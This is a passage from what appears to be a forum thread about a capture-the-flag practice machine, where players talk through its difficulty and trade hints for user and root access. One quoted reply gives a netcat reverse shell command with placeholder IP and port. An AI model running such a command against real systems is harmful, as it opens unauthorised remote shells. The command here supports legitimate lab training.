Rooted. Going from user to root was challenging, but really satisfying. I agree with those saying this box shouldn't be categorized as "Easy." Quite a bit of research necessary. Learned a ton.
If anyone needs a hand, feel free to DM.
Type your comment> @casey said:
nc (IP) (PORT) -e /bin/bash
Finally got user. But no idea how people are getting that command to work. Netcat kept dying immediately, so I had to try other shells.
I believe I'm aware of the right tool to use for grabbing root.txt, but I can't figure out the right switches for running it properly. I've read the man page and tried pretty much every potentially relevant option there. Any hints for where to go fr…